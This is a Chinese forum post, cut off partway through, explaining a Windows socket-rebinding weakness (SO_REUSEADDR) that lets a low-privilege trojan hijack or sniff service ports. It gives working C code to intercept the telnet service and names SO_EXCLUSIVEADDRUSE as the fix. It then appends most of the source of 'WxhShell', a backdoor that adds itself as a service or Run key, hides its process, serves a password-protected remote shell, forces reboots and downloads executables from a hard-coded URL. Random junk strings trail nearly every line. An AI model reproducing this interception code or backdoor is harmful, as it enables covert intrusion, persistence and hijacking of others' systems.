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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: > JP}OS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HApjXv!U[  
T )!k J;vc  
  saddr.sin_family = AF_INET; uy rS6e0  
w^E$R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }s@vN8C  
A; Av0@w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #u/5 nm  
s`I]>e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Btyp=wfN[  
t7 +U!  
  这意味着什么?意味着可以进行如下的攻击: ?!a8'jfs  
d7P' c!@+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BI6]{ZC"  
"@(Sw>*o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \\Te\l|L  
YckLz01jh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )R6-]TkA_  
$0&<Jx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xz3|m _)  
H:]'r5sw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fb?YDM  
>)6k)$x%%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 su0q 2.  
o]TKL'gW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0S#T}ITm4Z  
PrvV]#O*  
  #include X?++I 4\  
  #include f,'^"Me$c  
  #include 6Sz|3ms  
  #include    b^R_8x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =4#p|OZP  
  int main() l5FKw;=K}:  
  { IiM=Z=2  
  WORD wVersionRequested; 3XcFBFE  
  DWORD ret; &~V6g(9  
  WSADATA wsaData; {4>N2mP{M  
  BOOL val; COH9E\ZGF  
  SOCKADDR_IN saddr; o?/fObV@(  
  SOCKADDR_IN scaddr; zbAyYMtEk  
  int err; Mz: "p.  
  SOCKET s; S!8q>d,%L  
  SOCKET sc; !SdP<{[  
  int caddsize; 8A: =#P^O\  
  HANDLE mt; :&J1#% t  
  DWORD tid;   ",pd 9  
  wVersionRequested = MAKEWORD( 2, 2 ); *:"p*qV*  
  err = WSAStartup( wVersionRequested, &wsaData ); 4u E|$  
  if ( err != 0 ) { iC4rzgq  
  printf("error!WSAStartup failed!\n"); 0aa&13!5  
  return -1; \{. c0  
  } Vc!'=&*  
  saddr.sin_family = AF_INET; wxE'h~+  
   NX8. \Pf#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _18Aek   
A7R [~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PYyT#AcW2  
  saddr.sin_port = htons(23); AHet,N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -=GmI1:=$4  
  { @umn#*  
  printf("error!socket failed!\n"); 4P?R "Lk  
  return -1; YQ`88 z  
  } r<!/!}fE,  
  val = TRUE; zxC~a97`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C&f{LpB`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OZ4%6/  
  { `>u^Pm  
  printf("error!setsockopt failed!\n"); o[aIQ|G  
  return -1; ?0?+~0sI  
  } ^?S lM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; thSXri?kl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YP73  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ww =ksggpB  
ZY*_x)h+#7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~\u~>mtchu  
  { (l}nwyh5  
  ret=GetLastError(); #&sn l  
  printf("error!bind failed!\n"); l4AXjq2  
  return -1; WO=P~F<  
  } C ett*jm_  
  listen(s,2); og`g]Z<I  
  while(1) T/ P   
  { bA07zI2  
  caddsize = sizeof(scaddr); Da ]zbz%%  
  //接受连接请求 A'suZpL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /X;! F>  
  if(sc!=INVALID_SOCKET) 7ZFd;-  
  { +,UuJ6[n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  / !aVv  
  if(mt==NULL) GpXU&A'r  
  { zU";\);  
  printf("Thread Creat Failed!\n"); :nS p  
  break; ~j[mME}  
  } ~|&To >  
  } ] uXmug  
  CloseHandle(mt); 3u oIYY  
  } :?:R5_Nd=  
  closesocket(s); -SF50.[  
  WSACleanup(); Qn \=P*j  
  return 0; Z9 zsvg  
  }   &:#"APX  
  DWORD WINAPI ClientThread(LPVOID lpParam) )JOo|pr-K  
  { C,$7fW{?  
  SOCKET ss = (SOCKET)lpParam; *~^M_wej  
  SOCKET sc; wp<f{^ et  
  unsigned char buf[4096]; y<m }dW6[\  
  SOCKADDR_IN saddr; /J!~0~F  
  long num; {4r }jH  
  DWORD val; OQ+kOE&  
  DWORD ret; lh-zE5;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nQ;M@k&9eV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZmS ]4WM<  
  saddr.sin_family = AF_INET; bq z*90  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ! _?#f|  
  saddr.sin_port = htons(23); 6t'vzcQs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R]NCD*~  
  { KP CZiu7  
  printf("error!socket failed!\n"); %Vhj<gN  
  return -1; Thuwme  
  } 9G)fJr  
  val = 100; xpWY4Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &G_XgQsg{  
  { e|4U2\&3y  
  ret = GetLastError(); i}~U/.P   
  return -1; \N.Bx  
  } 'h>CgR^NM1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 41c4Xj?'  
  { }VqCyJu&{  
  ret = GetLastError(); +GT"n$)+  
  return -1;  ?S'Wd=  
  } .x_F4#Ka  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?-=<7 ~$  
  { d[sY]_ dj  
  printf("error!socket connect failed!\n"); w%~Mg3|  
  closesocket(sc); O7yIFqI=/  
  closesocket(ss); in2m/q?  
  return -1; DYTC2  
  } bl[2VM7P  
  while(1) ^F87gow%`B  
  { G`z=qaj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \'+P5,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r[3 2'E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Iy@6cd,)S  
  num = recv(ss,buf,4096,0); )@6iQ  
  if(num>0) w5q'M  
  send(sc,buf,num,0); FLQ>,=O  
  else if(num==0) 4^k+wQU  
  break;  dQI6.$?  
  num = recv(sc,buf,4096,0); moE!~IroG  
  if(num>0) du&9mOrr  
  send(ss,buf,num,0); 3e1^r_YI  
  else if(num==0) T *rz#O  
  break; S{UEV7d:n0  
  } M+WN\.2pX  
  closesocket(ss); ]EEac  
  closesocket(sc);  5 c1{[  
  return 0 ; \8]("l}ms8  
  } +[Q`I*C  
ML7qrc;Rx  
d8VFa'|  
========================================================== b\C1qM4  
4GexYDk'#  
下边附上一个代码,,WXhSHELL `Lr|KuFN  
#./8inbG  
========================================================== }M &hcw<  
1  Lz  
#include "stdafx.h" Y"E*#1/  
,ZvlK N  
#include <stdio.h> 2 P9{?Y  
#include <string.h> 9.Yn]O  
#include <windows.h> .>^U mM  
#include <winsock2.h> 9Qn*frdY,  
#include <winsvc.h> CFG(4IMx  
#include <urlmon.h> W=2#Q2)  
I1W~;2cK  
#pragma comment (lib, "Ws2_32.lib") <Gz*2i  
#pragma comment (lib, "urlmon.lib") +{cCKRm  
V(OD^GU  
#define MAX_USER   100 // 最大客户端连接数 s;xErH@RA  
#define BUF_SOCK   200 // sock buffer G9h Bp  
#define KEY_BUFF   255 // 输入 buffer RT"JAJTi/  
$#FA/+<&$  
#define REBOOT     0   // 重启 @"0n8y  
#define SHUTDOWN   1   // 关机 ^2uT!<2  
%RXFgm!{f  
#define DEF_PORT   5000 // 监听端口 @WP%kX.?  
92M_Z1_w[  
#define REG_LEN     16   // 注册表键长度 v.Xmrry  
#define SVC_LEN     80   // NT服务名长度 wZ/ b;%I!  
[#/@ v/`  
// 从dll定义API qIk( ei  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /y- 8dgv0a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); / a$B8,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qoOq47F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y{ w9D`}  
XVY j X  
// wxhshell配置信息 @O)1Hnm  
struct WSCFG { !Z%pdqo`.  
  int ws_port;         // 监听端口 TTz_w-68  
  char ws_passstr[REG_LEN]; // 口令 [+b&)jN*2  
  int ws_autoins;       // 安装标记, 1=yes 0=no %^bN^Sq -  
  char ws_regname[REG_LEN]; // 注册表键名 DaqpveKa  
  char ws_svcname[REG_LEN]; // 服务名 F,JqHa9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t8t+wi!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "^5%g%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :tX,`G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }?[a>.]u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6Wc.iomx8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 90!67Ap`x  
-{eI6#z|\A  
}; lNB<_SO  
.<.#g +  
// default Wxhshell configuration 7DIFJJE'  
struct WSCFG wscfg={DEF_PORT, Mgg m~|9)  
    "xuhuanlingzhe", ^qV6 khg  
    1, -qJO6OM  
    "Wxhshell", qfyuq]  
    "Wxhshell", _hi8m o  
            "WxhShell Service", `D0H u!;  
    "Wrsky Windows CmdShell Service", N6!$V7oT  
    "Please Input Your Password: ", }RZN3U=  
  1, ;%PI  
  "http://www.wrsky.com/wxhshell.exe", dU#} Tk  
  "Wxhshell.exe" ,5P tB]8&3  
    }; ^(1S`z$  
7aeyddpM  
// 消息定义模块 jU=n\o=?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aaFt=7(K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $Zf]1?|xa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $mF9os-  
char *msg_ws_ext="\n\rExit."; f9La79v  
char *msg_ws_end="\n\rQuit."; /xkF9   
char *msg_ws_boot="\n\rReboot..."; @xN)mi  
char *msg_ws_poff="\n\rShutdown..."; $WG<  
char *msg_ws_down="\n\rSave to "; :PQvt/-'(D  
zl!Y(o!@  
char *msg_ws_err="\n\rErr!"; AR7]~+ X  
char *msg_ws_ok="\n\rOK!"; *hkNJ  
a<v!5\dq!  
char ExeFile[MAX_PATH]; Wh1'?#  
int nUser = 0; iKEHwm  
HANDLE handles[MAX_USER]; U].3vju`c  
int OsIsNt; oPR?Ar  
SJ8|~,vL  
SERVICE_STATUS       serviceStatus; Oi\,clR^[o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G*rlU  
7kh(WtUz  
// 函数声明 'klYGp  
int Install(void); ,=`iQl3(y/  
int Uninstall(void); $;B0x  
int DownloadFile(char *sURL, SOCKET wsh); !s(s^  
int Boot(int flag); \Culf'iX  
void HideProc(void); ,2lH*=m;  
int GetOsVer(void); aYcc2N%C  
int Wxhshell(SOCKET wsl); &v<Am%!N  
void TalkWithClient(void *cs); ?TY/'-M5  
int CmdShell(SOCKET sock); ;BYv&(#u1q  
int StartFromService(void); o/mGd~  
int StartWxhshell(LPSTR lpCmdLine); YB"=eld  
\Qei}5P,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z-?WU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c_FnJ_++f  
& _mp!&5XV  
// 数据结构和表定义 7aJ:kumDZ  
SERVICE_TABLE_ENTRY DispatchTable[] = UGK,+FN  
{ oE'Flc.  
{wscfg.ws_svcname, NTServiceMain}, =x} p>#o,J  
{NULL, NULL} Q i\"b  
}; )UAkg  
,w0Io   
// 自我安装 lW3wmSWn%  
int Install(void) d@>1m:p  
{ peGh-  
  char svExeFile[MAX_PATH]; ;@V1*7y  
  HKEY key; d^^EfWU  
  strcpy(svExeFile,ExeFile); Z'o'd_g>I+  
e~NF}9#A  
// 如果是win9x系统,修改注册表设为自启动 ]TIBy "3  
if(!OsIsNt) { jt6,id)&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +<w\K*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T{zz3@2?  
  RegCloseKey(key); yf2$HF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p+; La  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }<g- 0&GLm  
  RegCloseKey(key); y\c-I!6>26  
  return 0; <F-W fR  
    } C,nU.0  
  } H:.l:PJ  
} MNd[Xzm  
else { (5Sv$Xt  
\#q|.d$ u  
// 如果是NT以上系统,安装为系统服务 6'qu[ ~ }Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OmAa$L,'w  
if (schSCManager!=0) AIw<5lW  
{ >^ zbDU1wT  
  SC_HANDLE schService = CreateService d^Zr I\AJ  
  ( = `oGH  
  schSCManager, <F<jx"/)  
  wscfg.ws_svcname, %M u$0~ct"  
  wscfg.ws_svcdisp, l|5;&(Y+s  
  SERVICE_ALL_ACCESS, 6>j0geFyE2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , to#N>VfD  
  SERVICE_AUTO_START, fE,Io3  
  SERVICE_ERROR_NORMAL, 0=V -{  
  svExeFile, -1c{Jo  
  NULL, <^fvTb&*  
  NULL, I#9q^,,F  
  NULL, *W$bhC'w  
  NULL, N Ah^2X  
  NULL ZCz#B2Sf8  
  ); CCU<t Q  
  if (schService!=0) &@/25Y2  
  { WC`x^HI  
  CloseServiceHandle(schService); :XeRc"m<  
  CloseServiceHandle(schSCManager); Tb<}GcwJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w^8i!jCy  
  strcat(svExeFile,wscfg.ws_svcname); fe!{vrS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jC_m0Iwc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c@/K}  
  RegCloseKey(key); g<PglRr"  
  return 0; m+9~f_}  
    } s|d"2w6t  
  } vmIt!x  
  CloseServiceHandle(schSCManager); Rxk0^d:sNi  
} mk]8}+^.  
} > ,;<Bz|X  
^~K[bFbW  
return 1; j-9Zzgr  
} a/dq+  
pT'jX^BU  
// 自我卸载 OO*2>Qy~z  
int Uninstall(void) p~f=0K  
{ ^F:Bj&0v[  
  HKEY key; k`h#.B J  
^!sIEL  
if(!OsIsNt) { .vWwYG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YK%rTbB(  
  RegDeleteValue(key,wscfg.ws_regname); ,#Mt10e{  
  RegCloseKey(key); gt)wk93d>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ uqB.f$  
  RegDeleteValue(key,wscfg.ws_regname); dBEm7.nh  
  RegCloseKey(key); !?5YXI,  
  return 0; M}x]\#MMY  
  } @"__2\ 0  
} Am"e%|:  
} /[+%<5s  
else { #VynADPs`o  
/nB|Fo_&Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _BHEK  
if (schSCManager!=0) ]3]=RuQK2  
{ ndS8p]P&o(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /M Z^;XG  
  if (schService!=0) 6 U_P  
  { M3Oqto<8"  
  if(DeleteService(schService)!=0) { ch]{ =61  
  CloseServiceHandle(schService); RJOW#e :  
  CloseServiceHandle(schSCManager); p,7, tx  
  return 0; \@m^w"Ij  
  } :s>x~t8g#n  
  CloseServiceHandle(schService); C@{-$z)  
  } IQeiT[TF  
  CloseServiceHandle(schSCManager); QJ2D C  
} 4Be\5Byr  
} MIdViS.g  
~}RfepM  
return 1; y-N]{!  
} Fx )BMP  
-Pc6W9$  
// 从指定url下载文件 aKz:hG  
int DownloadFile(char *sURL, SOCKET wsh) y3OF+;E  
{ #*X\pjZ  
  HRESULT hr; Eo>EK>  
char seps[]= "/"; v-DZW,  
char *token; Fs&r ^ [/b  
char *file; t^~Qv  
char myURL[MAX_PATH]; XeX` h_  
char myFILE[MAX_PATH]; d r$E:kr  
o>\o=%D.a  
strcpy(myURL,sURL); B}0!b7!  
  token=strtok(myURL,seps); `G`y A%  
  while(token!=NULL) `#"xgOSP>  
  { gUY~ l= c  
    file=token; u6SQq-)d  
  token=strtok(NULL,seps); 8]Q#P  
  } EYA=fU  
`IT]ZAem`/  
GetCurrentDirectory(MAX_PATH,myFILE); v UhgM'  
strcat(myFILE, "\\"); !RSJb  
strcat(myFILE, file); m UUNR,  
  send(wsh,myFILE,strlen(myFILE),0); nx{MUN7  
send(wsh,"...",3,0); dozC[4mF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }:57Ym)7w  
  if(hr==S_OK) 7 j6<  
return 0; B>g(i=E  
else wSi$.C2  
return 1; |Wr$5r  
)+|Y;zC9  
} ?AK`M #M  
J4u>77I  
// 系统电源模块 [0vqm:P  
int Boot(int flag) IKV!0-={!z  
{ 0o!mlaU#  
  HANDLE hToken; 8Qhj_  
  TOKEN_PRIVILEGES tkp; Xw3j(`w$,  
a |#TnSk  
  if(OsIsNt) { 9{ #5~WP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]kd:p*U6P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N(V_P[]"*,  
    tkp.PrivilegeCount = 1; ~LQzt@G4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;GIA`=a %  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w[C*w\A\M  
if(flag==REBOOT) { E+lr{~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jv}&8D  
  return 0; Ph8@V}80"Y  
} 2M=h:::W  
else { :C2 @!W z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  1D_&n@  
  return 0; -Nn< pq  
} t&Q(8Hz  
  } No`*->R  
  else { hZlHY9[t?  
if(flag==REBOOT) { B<i(Y1n[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zK&1ti@wln  
  return 0; qw1W }+~g  
} #k?.dWZ!  
else { \&b 9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `QtkC>[  
  return 0; +P8CC fPu  
} )ZI#F]  
} Em !%3C1r  
]|tR8`DGZ%  
return 1; l _%<U  
} <g%A2 lI  
Ln2FG4{  
// win9x进程隐藏模块 .|^Gde  
void HideProc(void) ,dR.Sac v  
{ z=) m6\  
9I]Bt=2z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c8YbBdk'  
  if ( hKernel != NULL ) qFwt^w  
  { '?| 1\j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +Wg/ O -  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jw8?o/1D@  
    FreeLibrary(hKernel); }x\#ul)  
  } :;.^r,QAI  
D\b$$z]q  
return; 51b%uz  
} Y|><Ls6Q  
hPSMPbI  
// 获取操作系统版本 `_)H aF>/  
int GetOsVer(void) xYCJO(&  
{ h?p_jI  
  OSVERSIONINFO winfo; E& i (T2c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); in/~' u  
  GetVersionEx(&winfo); w~)tEN>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )xccs'H  
  return 1; JJ7A` ;  
  else 9Y'pT.Gy b  
  return 0; 'fl< ac,.  
} 9D+k71"+  
! #_2 ![  
// 客户端句柄模块 `DF49YP"~  
int Wxhshell(SOCKET wsl) /0H}-i  
{ Gmi? xGn  
  SOCKET wsh; J)Y`G4l2@  
  struct sockaddr_in client; rAfz?  
  DWORD myID; u+r!;-0i  
Ao8ua|:  
  while(nUser<MAX_USER) Y4 HN1  
{ #WSqh +  
  int nSize=sizeof(client); %]&$VVVh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I51]+gEN  
  if(wsh==INVALID_SOCKET) return 1; PXYLL X\3  
sWte&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  e|!'  
if(handles[nUser]==0) S xJ&5q  
  closesocket(wsh); G~8BND[."  
else )g dLb}  
  nUser++; zUL,~u  
  } QF/_?Tm4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zP%s]>hH  
gAWi&  
  return 0; \hgd&H0UU  
} P0}{xq'k9v  
=yZq]g6Q  
// 关闭 socket Zh;wQCDj  
void CloseIt(SOCKET wsh) }W8A1-UF  
{ B6 (\1  
closesocket(wsh); #4O4,F>e  
nUser--; "H[K3  
ExitThread(0); Sp5:R75vI  
} 5m 0\ls\  
1#6emMV.`  
// 客户端请求句柄 H?];8wq$G  
void TalkWithClient(void *cs) d,Aa8I  
{ 'wk,t^)  
?'6@m86d  
  SOCKET wsh=(SOCKET)cs; I?}jf?!oM  
  char pwd[SVC_LEN]; ;,[0bmL  
  char cmd[KEY_BUFF]; v#qdq!64  
char chr[1]; 7-K8u  
int i,j; mG\QF0h  
'Gl~P><e  
  while (nUser < MAX_USER) { W+!UVUpW  
?'TK~,dG/  
if(wscfg.ws_passstr) { isL zgN%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q7Hf7^a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _x<NGIz  
  //ZeroMemory(pwd,KEY_BUFF); %US&`BT!  
      i=0; ;yomaAr  
  while(i<SVC_LEN) { )~wKRyQff  
S4_/%~?  
  // 设置超时 Pj <U|\-?  
  fd_set FdRead; d j\Z}[  
  struct timeval TimeOut; oL@-<;zKO  
  FD_ZERO(&FdRead); T<pG$4_  
  FD_SET(wsh,&FdRead); w-pgtO|Us  
  TimeOut.tv_sec=8; ce\d35x!  
  TimeOut.tv_usec=0; RH;ulAD6(~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |ZH(Z}m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '-%1ILK$3r  
.@,t}:lD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d#0:U Y%~  
  pwd=chr[0]; z9ADF(J?0'  
  if(chr[0]==0xd || chr[0]==0xa) { ]@Zv94Z(  
  pwd=0; Jx.f DVJ  
  break; Q 84t=  
  } -{cmi,oy  
  i++; "TJu<O"2  
    } .U0Gm_c0  
OKMdyyO<l  
  // 如果是非法用户,关闭 socket sr6 BC.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %, psUOY  
} +-@n}xb@  
=Pl@+RgK+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !#)t<9]fv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]!/U9"_e"B  
T ?[28|  
while(1) { 1 jidBzu<  
skcyLIb  
  ZeroMemory(cmd,KEY_BUFF); `MSig)V  
cuQ!"iH  
      // 自动支持客户端 telnet标准   &!CVF  
  j=0; _cs(f<>oCO  
  while(j<KEY_BUFF) { T o["o!(;z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }d?;kt  
  cmd[j]=chr[0]; d^}p#7mB\  
  if(chr[0]==0xa || chr[0]==0xd) { tS2 &S 6u  
  cmd[j]=0; (kLaXayn  
  break; @-)?uYw:r  
  } ^y/Es2A#t  
  j++; * hs&^G  
    } T/'z,,Y  
$IE}fgA@5  
  // 下载文件 Z0L($  
  if(strstr(cmd,"http://")) { AabQ)23R2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $yASWz  
  if(DownloadFile(cmd,wsh)) U.<j2K um  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x 7by|G(  
  else z{L'7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4{uQ}ea  
  } eG,x\  
  else { C(XV YND3  
t<Acq07  
    switch(cmd[0]) { e3 v^j$  
  72s qt5C]  
  // 帮助 K<J,n!zc  
  case '?': { #BLHHK/[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AZ3T#f![L@  
    break; .|O T#"LP  
  } /qIQE&V-  
  // 安装 |_TiF ;^  
  case 'i': { j?N<40z  
    if(Install()) Mr)t>4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h=A  
    else "b hK %N;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .2E/(VM  
    break; 0zH-g  
    } R2Tt6  
  // 卸载 ^!\1q<@n  
  case 'r': { #"UO`2~`l  
    if(Uninstall()) wG,"X'1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MR1I"gqE}I  
    else h< r(:.%!}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A'jvm@DvQI  
    break; `"=>lu2H   
    } I<D#   
  // 显示 wxhshell 所在路径 K ";Et  
  case 'p': { fmuh 9Z  
    char svExeFile[MAX_PATH]; "A}sD7xy9  
    strcpy(svExeFile,"\n\r"); 6'^E ],:b  
      strcat(svExeFile,ExeFile); ;TJpD0  
        send(wsh,svExeFile,strlen(svExeFile),0); n*7^lAa2  
    break; +c~&o83[  
    } "&2 F  
  // 重启 R 0RxcB tG  
  case 'b': { ]<^2B?}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <r#FI8P;X  
    if(Boot(REBOOT)) &gp&i?%X9b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i{6&/TBnr  
    else { "UTW(~D'  
    closesocket(wsh); Xq;|l?,O  
    ExitThread(0); r'*$'QY-N  
    } w7@`:W  
    break; N#ggT9>X  
    } i3w~&y-  
  // 关机 ^{uHph9ny  
  case 'd': { ;?/5Mr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y$ jX  
    if(Boot(SHUTDOWN)) >aAM&4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eNd&47lJ  
